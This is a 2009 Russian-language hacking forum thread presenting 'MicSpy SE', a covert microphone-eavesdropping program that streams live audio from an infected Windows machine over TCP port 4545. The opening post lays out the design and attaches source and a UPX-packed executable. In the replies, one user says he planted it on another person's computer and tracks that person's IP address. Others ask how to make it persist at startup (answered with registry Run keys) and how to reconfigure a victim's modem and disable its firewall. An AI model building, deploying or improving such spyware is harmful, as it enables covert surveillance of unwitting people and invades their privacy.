MicSpy SE (Stream Edition)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by slesh, 24 Oct 2009.

  1. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    MicSpy SE (Stream Edition)​

    Это собственно говоря небольшое продолжение идеи
    микрофонного шпиона, но чуть с другой технологией работы.

    Основные изменения:
    1) отсутствует админка
    2) запись больше не производится в файлы
    3) скомпилить через альтернативные модули и упаковать UPX то размер будет 5632 байта т.е. как видно - существенно уменьшился размер
    4) теперь данные передаются в псевдопотоковом режиме через сеть.
    5) для прослушивания нужен желательно Winamp
    6) возможность одновременного подключения 256 пользователей.

    Алгоритм работы:
    1) инициализируется формат записываемых данных
    2) инит сокетов
    3) ожидание подключения клиента
    4) если есть клиент, то считывает http заголовок
    5) если неудачно считался, то клиент отключается и ему посылается ответ HTTP/1.0 404 Not Found
    6) если удачно считался заголовок то идут действия:
    7) если клиентов 256 то клиент отключается и ему посылается ответ HTTP/1.0 404 Not Found
    8) если первый клиент, то включает запись и добавляет сокет клиента в очередь на посылку данных
    9) если не первый, то просто сокет добавляется в очередь посылки данных
    10) если идет запись, и получены данные, то проверяется очередь сокетов и каждому сокету отправляется этот пакет
    11) если данные не отправились (клиент отключился), то сокет закрывается и удаляется из очереди
    12) если закрыт последний сокет то останавливается запись, чтобы не расходовать ресурсы.

    Достоинства:
    1) малый размер
    2) нет нужды хранить файлы
    3) нет нужды управлять записью, всё само идет.
    4) прослушивание в реальном времени.
    5) до 256 одновременных клиентов

    Недостатки:
    Как и во всём хорошем есть сво:е плохое )
    1) трафик расходуется с заданным битрейтом записи.
    В локалках - это норм. да и при существующем инете это уже не проблема.
    2) получение HTTP заголовка от клиента - глючно сделано, по этому пока данные не получатся то второй клиент не подрубится. т.е. нужно просто сделать таймаут на сокет (на чтение) или заюзать select. Так что это решаемо.
    3) т.к. реализована псевдопоточность, то довольно сложновато прослушать через браузер данные.
    т.е. Quick Time отказался слушать почему то.

    Зато Windows Media Player и WinAmp в легкую смогли получать данные по сети, достаточно было указать адрес http://xxx.xxx.xxx.xxx:4545/

    Так вот небольшая доделка старого MicSpy сделанная за 2 часа )

    В аттаче можно найти архив со следующими файлами:
    1) MicSpySE.dpr - основной модуль
    2) API.pas - список зающанных API функий
    3) MicRec.pas - модуль отвечающий за запись и передачу данных
    4) MicSpySE.exe - скомпиленный через альтернативные модули и упакованный UPX

    P.P.S нашел шас глюк небольшой. забыл вставить
    SendToClient(csocket, HeaderOK);
    после
    if SocketList.data[x] = 0 then
    begin
    т.е. в одном месте есть а в другом месте нету.
    (C) SLESH
     

    Attached Files:

    #1 slesh, 24 Oct 2009
    Last edited: 24 Oct 2009
    8 people like this.
  2. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    для камер софта скорее всего не будет. по причинам: дома нет ни одной камеры. так что тестить не удобно. да и к томуже нужно юзать директ ыкс и дс пак. а я их не люблю потому что это компоненты.
     
    1 person likes this.
  3. 0ldbi4

    0ldbi4 Elder - Старейшина

    Joined:
    14 Apr 2008
    Messages:
    264
    Likes Received:
    51
    Reputations:
    10
    Вроде broadcast получается, но всётаки админка не помешала бы, можешь положить на свой сайт от сюда не скачать или на файло обменник
     
    #3 0ldbi4, 24 Oct 2009
    Last edited: 24 Oct 2009
  4. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 0ldbi4
    не. не broadcast.
    broadcast это шифроковещаетльные. А тут данные передаются только клиентам которые подключились по TCP/IP. Админка не нужна, потому что запись начинается с приходом первого клиента и заканчивается после ухода последнего.

    P.S. залил к себе на сайт http://slesh.name/
     
  5. 0ldbi4

    0ldbi4 Elder - Старейшина

    Joined:
    14 Apr 2008
    Messages:
    264
    Likes Received:
    51
    Reputations:
    10
    Спасибо скачал, протестил и вот опять какаято проблема с воспроизведением, в первой версии у меня запись при воспроизведении была значительно дольше нежеле я записывал, и нечего хоть немного реалистичного я не услышал, видимо ошибка кодека mp3...
     
  6. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ну я вообще не заполняю никаких служебные заголовки. по идеи плеер сам должен определить. Эту версию я тестил в WinAMP и Win Media Player
     
  7. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Кстати, чтобы красивее выглядило в винампе всё при прослушивании, нужно вводить линк
    http://ip:4545/MicSpy%20Stream
     
  8. alexanderkos

    alexanderkos New Member

    Joined:
    29 Apr 2009
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    А как сделать что при запуске программы автоматически она засаживалась в автозагрузку.
     
  9. 0ldbi4

    0ldbi4 Elder - Старейшина

    Joined:
    14 Apr 2008
    Messages:
    264
    Likes Received:
    51
    Reputations:
    10
    2alexanderkos написать установщик....
     
  10. gurunars

    gurunars New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Slesh Спсибо за софтину.штучка оч полезная и интересная
    но есть такая проблемка.(я не знаю очень заумных терминов я еще новичек)
    запустил ее себя и сам к себе приконектился все без проблем
    у человека которому я подкинул данную софтину(я нашел способ при каждой загрузке компа узнавать его IP) соединение с интернетом (проверка имени и пароля итп) осужествляется не с компьютера ,а с модема и комп его уже использует как шлюз(хз как это называется). так вот попытки соедениться с ним не увенчались успехом. у моего друга такой же тип соединения и мы стали пробовать с ним. он ко мне легко присоединятся (у меня набор идет с компа)а я к нему не могу. могу это обьяснить только тем что модем не осуществляет проброс порта 4545. и меня еще очень удивило что когда ко мне присоединился друг я не смог у себя найти соединения по порту 4545. что вы можете по этому поводу посоветовать?
     
  11. gurunars

    gurunars New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    разобрался я с принципом работы NAT (еще что-то новое для себя подчеркнул) :)
    но возникает вопрос. можно ли написать скрипт или програмулину которая бы изменяла настройки модема и забивала бы правило трянсляции в NAT для нашего порта 4545, а также отключала фаервол если бы мы знали модель и версию прошивки модема?не знаю никого ктобы менял логин и пас для доступа к модему
     
    #11 gurunars, 27 Nov 2009
    Last edited: 27 Nov 2009
  12. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Вообще это уже другие вопросы, которые не входят в тему обсуждения программы, лучше их задавай в разделах типа для администратора или смежных.
     
  13. gurunars

    gurunars New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    а какой протокол использует программа TCP\IP или UDP ???
     
  14. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    TCP юзает.

    <offtop>
    странно както почему многие считают что есть протокол TCP\IP и UDP
    если по идее протоколы называются TCP и UDP и оба функционируют на базе IP протокола.
    </offtop>
     
  15. gurunars

    gurunars New Member

    Joined:
    3 Sep 2009
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    <offtop>
    буду знать )
    <offtop>
     
    #15 gurunars, 29 Nov 2009
    Last edited: 29 Nov 2009
  16. RIkimaru

    RIkimaru New Member

    Joined:
    4 Dec 2009
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    как именно создать серверу автозагрузку ?
     
  17. flacs

    flacs Member

    Joined:
    28 Jan 2009
    Messages:
    81
    Likes Received:
    31
    Reputations:
    6
    Run, Start Up - RegKeys
     
  18. GRomV

    GRomV New Member

    Joined:
    4 Jun 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Скчал MicSpySE.exe запустил на двух удаленных компах со статическим IP.
    На одном XP, на другом Win7. На Win7 фаервол вообще отключен, процесс видно, но не коннектица. На XP проблем нет.
    В 7 не работает?
     
  19. daddy_roman

    daddy_roman Banned

    Joined:
    2 Dec 2010
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Тестил на разных компах и везьде по разному. На одном ноуте поймал конект - всё нормально процесс передачи происходит. Но тишина. Может это быть из-за того что микрофон вырублен программно? Проверить непосредственно не могу, нет доступа.
    если выключен процесс будет выполняться?
     
  20. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    ну вообще там многое от чего зависит. Когда его писал, то небыло возможности тестить на win7. Микрофон должен быть включен.